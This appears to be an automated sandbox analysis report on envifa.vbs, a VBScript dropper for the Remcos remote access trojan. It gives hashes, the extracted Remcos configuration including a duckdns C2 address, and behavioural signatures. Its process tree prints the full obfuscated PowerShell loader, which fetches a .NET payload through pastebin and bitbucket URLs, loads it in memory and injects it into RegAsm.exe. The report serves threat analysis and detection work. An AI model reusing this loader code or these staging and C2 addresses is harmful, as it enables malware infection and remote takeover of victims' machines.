Analysis
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max time kernel
147s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
26-09-2024 15:05
Static task
static1
Behavioral task
behavioral1
Sample
envifa.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
envifa.vbs
Resource
win10v2004-20240802-en
General
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Target
envifa.vbs
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Size
4.0MB
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MD5
b9b5d25eb96b7de9629b3344aaca4d71
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SHA1
e9f07e0dd33c986fc83ddf9e4e702dbb92dbb834
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SHA256
f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95
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SHA512
69c1f2de49adc6d4cbc3f74ca83c8b1bdb882d10efd4d891345432e776e6a40d23fe456d23e8c004bc26a2c49a10baedf3255119e57f8e4481804250cfc614e3
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SSDEEP
96:D6G7MtM9s/Q8u5QiOK09ALsFckHixZzan9gzdR3s:GSHbO9GsFcCudan9mhs
Malware Config
Extracted
http://pastebin.com/raw/V9y5Q5vv
Extracted
remcos
RemoteHost
remcos2024fin.duckdns.org:4576
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-JKUC8S
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 5 IoCs
flow pid Process 8 4628 powershell.exe 9 4628 powershell.exe 17 4628 powershell.exe 21 4628 powershell.exe 24 4628 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation WScript.exe -
pid Process 4608 powershell.exe 4628 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
flow ioc 9 pastebin.com 14 bitbucket.org 17 bitbucket.org 7 pastebin.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4628 set thread context of 3548 4628 powershell.exe 85 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4608 powershell.exe 4608 powershell.exe 4628 powershell.exe 4628 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4608 powershell.exe Token: SeDebugPrivilege 4628 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3548 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 4252 wrote to memory of 4608 4252 WScript.exe 82 PID 4252 wrote to memory of 4608 4252 WScript.exe 82 PID 4608 wrote to memory of 4628 4608 powershell.exe 84 PID 4608 wrote to memory of 4628 4608 powershell.exe 84 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85 PID 4628 wrote to memory of 3548 4628 powershell.exe 85
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bm☆HY☆e☆Bm☆GU☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆Hk☆egB5☆HE☆cg☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆Gk☆agBj☆GM☆cw☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆Bp☆Go☆YwBj☆HM☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆HQ☆e☆B0☆C4☆RQBS☆EI☆VQBU☆EM☆TwBS☆EU☆TgBF☆FQ☆UwBP☆FM☆LwBz☆GQ☆YQBv☆Gw☆bgB3☆G8☆Z☆☆v☆G8☆d☆Bz☆G8☆ZwBh☆C8☆cwBz☆G8☆aQB2☆G4☆ZQ☆v☆Gc☆cgBv☆C4☆d☆Bl☆Gs☆YwB1☆GI☆d☆Bp☆GI☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆B5☆Ho☆eQBx☆HI☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆XwBf☆GE☆UwBE☆EY☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆Xw☆t☆C0☆LQ☆t☆C0☆LQ☆t☆Cc☆L☆☆g☆CQ☆ZgB2☆Hg☆ZgBl☆Cw☆I☆☆n☆DE☆Jw☆s☆C☆☆JwBS☆G8☆Z☆Bh☆Cc☆I☆☆p☆Ck☆Ow☆=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\envifa.vbs');powershell $KByHL;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$fvxfe = '0';$yzyqr = 'C:\Users\Admin\AppData\Local\Temp\envifa.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $ijccs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($ijccs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('txt.ERBUTCORENETSOS/sdaolnwod/otsoga/ssoivne/gro.tekcubtib//:sptth' , $yzyqr , '_______aSDF_____________________________________-------', $fvxfe, '1', 'Roda' ));"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3548
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
144B
MD5ca8ec807529e13ba84c55d8a368ff980
SHA1538a76363f1ac7bd5106e94d1073328e0ba88c30
SHA2567751c3dde4984d421fed0c0e376ec4b2623f79ec4ff220547b2e1a56792e4d32
SHA51270334eeaad5d32f2e976bf2d7cc6b76322c66b7490c76db6be4f12e67313a915cf5e91dd386639073e5590e51b01ac8d612c1d24465d9b104097ada08e506710
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD550a8221b93fbd2628ac460dd408a9fc1
SHA17e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA25646e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA51227dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82